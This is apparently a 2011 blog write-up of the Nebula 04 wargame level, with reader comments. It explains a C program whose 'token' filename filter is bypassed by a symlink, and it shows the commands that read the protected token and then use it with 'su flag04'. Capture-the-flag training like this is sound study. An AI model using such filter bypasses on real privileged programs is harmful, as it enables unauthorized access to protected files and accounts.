Monday, December 5, 2011

Exploit Exercises - Nebula 04

I really like Nebula 04, because it is really easy, but still a commonly missed thing in programming.

The object of this challenge is to find a vulnerability and exploit this C++ program.

#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/types.h>
#include <stdio.h>
#include <fcntl.h>

int main(int argc, char **argv, char **envp)
{
 char buf[1024];
 int fd, rc;

 if(argc == 1) {
  printf("%s [file to read]\n", argv[0]);
  exit(EXIT_FAILURE);
 }

 if(strstr(argv[1], "token") != NULL) {
  printf("You may not access '%s'\n", argv[1]);
  exit(EXIT_FAILURE);
 }

 fd = open(argv[1], O_RDONLY);
 if(fd == -1) {
  err(EXIT_FAILURE, "Unable to open %s", argv[1]);
 }

 rc = read(fd, buf, sizeof(buf));

 if(rc == -1) {
  err(EXIT_FAILURE, "Unable to read fd %d", fd);
 }

 write(1, buf, rc);
}

So this program first verifies that you did pass it an argument of some sort.  If you pass that check, it then makes sure that your argument does not contain the term "token", since the developer knows the filename they want to protect.  If both of those suceed, it tries to open the file, and print it to the screen, as long as it exists, and has no general read errors.

So to exploit this program, we need to pass the program an argument, and it needs to not contain the term "token" in it.  So all we need to do is make a symbolic link.

level04@nebula:/home/flag04$ ln -s /home/flag04/token /tmp/level04
level04@nebula:/home/flag04$ ./flag04 /tmp/level04
06508b5e-8909-4f38-b630-fdb148a848a2

The only odd part about this challenge is that there's apparently no privilege escalation done, so you can run "getflag", like every other problem up until now. Someone else noticed the same thing, but there has been no answer. So as far as I'm concerned, this challenge is complete. We got the contents of the token file.

4 comments:

  1. Just use this token as password for 'su flag04' and then you can call getflag.

    ReplyDelete
  2. @Norbert, I tried that exact same thing, and it just gave an Authentication failure. I don't think it quite works that way.

    ReplyDelete
  3. It is strange, because I have tried it now (just c&p) with

    level04@nebula:~$ ln -s /home/flag04/token /tmp/level04
    level04@nebula:~$ /home/flag04/flag04
    /home/flag04/flag04 [file to read]
    level04@nebula:~$ /home/flag04/flag04 /tmp/level04
    06508b5e-8909-4f38-b630-fdb148a848a2
    level04@nebula:~$ su flag04
    Password:
    sh-4.2$ getflag
    You have successfully executed getflag on a target account
    sh-4.2$

    I have the last image with 80c7ee1ea27e0bc5532cbc34b5fe6d6a5f97edbf checksum.

    ReplyDelete
  4. Ahh, I figured out why! I was running on Nebula v2, and there's now a v4, which is where your checksum is from. I'll have to update!

    ReplyDelete

Popular

Recent

Comments